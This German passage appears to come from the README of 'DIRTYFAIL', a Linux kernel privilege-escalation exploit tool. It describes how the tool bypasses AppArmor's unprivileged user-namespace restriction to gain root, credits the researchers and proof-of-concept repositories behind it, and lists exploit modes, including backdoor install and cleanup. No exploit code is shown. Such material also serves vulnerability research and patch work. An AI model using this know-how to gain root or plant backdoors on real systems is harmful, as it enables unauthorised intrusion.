DIRTYFAIL behandelt dies pro Exploit-Modus über einen Fork: Der Elternprozess bleibt im Init-Namespace, der Kindprozess führt die Umgehung + Kernelarbeit durch, der Elternprozess liest den globalen Page-Cache und führt su für die echte Init-ns-Root aus. Siehe §8.5 Architektur für die vollständige Kette. Das alte Flag --aa-bypass (das die Umgehung für den gesamten Prozess aktivierte) wird nur zum Debuggen beibehalten.

Die ursprüngliche Technik stammt aus aa-rootns.c von 0xdeadbeefnetwork (dort wird Brad Spengler / grsecurity zugeschrieben). DIRTYFAILs Implementierung:

  • Erkennt die Einschränkung über das Sysctl kernel.apparmor_restrict_unprivileged_userns anstatt durch Lesen von /proc/self/attr/current (das auf Ubuntu 24.04 immer noch "unconfined" anzeigt, selbst wenn die Richtlinie einschränkt).
  • Verwendet einen einzelnen Sprung in crun anstelle des Zwei-Sprung-Tanzes crun → chrome — der zweite Sprung verursachte auf Ubuntu 24.04 gelegentlich ENOSPC.
  • Setzt nach Stufe 2 ein prozesslokales Flag g_bypass_done, sodass erneute Überprüfungen kurzschließen (wodurch Endlos-Re-Exec-Schleifen verhindert werden, die zuvor das Pro-UserNS-Verschachtelungslimit ausgeschöpft haben).

11. Credits

DIRTYFAIL ist Originalcode, aber die darin implementierten Techniken wurden von den unten aufgeführten Forschern entwickelt. Lesen Sie ihre Primärquellen, bevor Sie dieses Werkzeug einsetzen — sie sind die kanonischen Referenzen.

Patch-Autoren:

  • f4c50a4034e6 (Dirty Frag xfrm-ESP) — basierend auf Hyunwoo Kims v1-Patch, mit dem zusammengeführten Shared-Frag-Ansatz von Kuan-Ting Chen.
  • RxRPC-Patch — Hyunwoo Kim, Zusammenführung ausstehend.

Lizenz

MIT. Siehe LICENSE.


Kontakt

Öffnen Sie ein Issue in diesem Repository oder wenden Sie sich an die in der Commit-Historie aufgeführte Adresse. Für koordinierte Offenlegung verwandter Probleme kontaktieren Sie bitte direkt die oben genannten Upstream-Forscher.

Tool herunterladen
ModusUmgebungsvariablen
esp / esp6 / gcmDIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER
rxrpcDIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — Die fcrypt-Bruteforce findet im übergeordneten Prozess statt (keine Capabilities erforderlich); die Schlüssel werden zur Auslösung der eigentlichen Trigger an das Kind übergeben
backdoor-install / backdoor-cleanupDIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE
QuelleForscherBeitrag
https://copy.fail/AnonymOriginal Copy Fail Offenlegung
https://github.com/Smarttfoxx/copyfailSmarttfoxxC PoC (Shellcode-in-su-Variante)
https://github.com/rootsecdev/cve_2026_31431rootsecdevPython-Detektor + UID-Flip-PoC; die Ergonomie von DIRTYFAILs --exploit-copyfail-Modus folgt diesem Ansatz.
https://github.com/V4bel/dirtyfragHyunwoo Kim (@v4bel)Dirty Frag Entdeckung, vollständige Chain-PoC, Kernel-Patches
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo0xdeadbeefnetworkGCM-Varianten-Exploit, IPv6-PoC, AppArmor-userns-Umgehungstechnik
https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/BleepingComputerÖffentliche Berichterstattung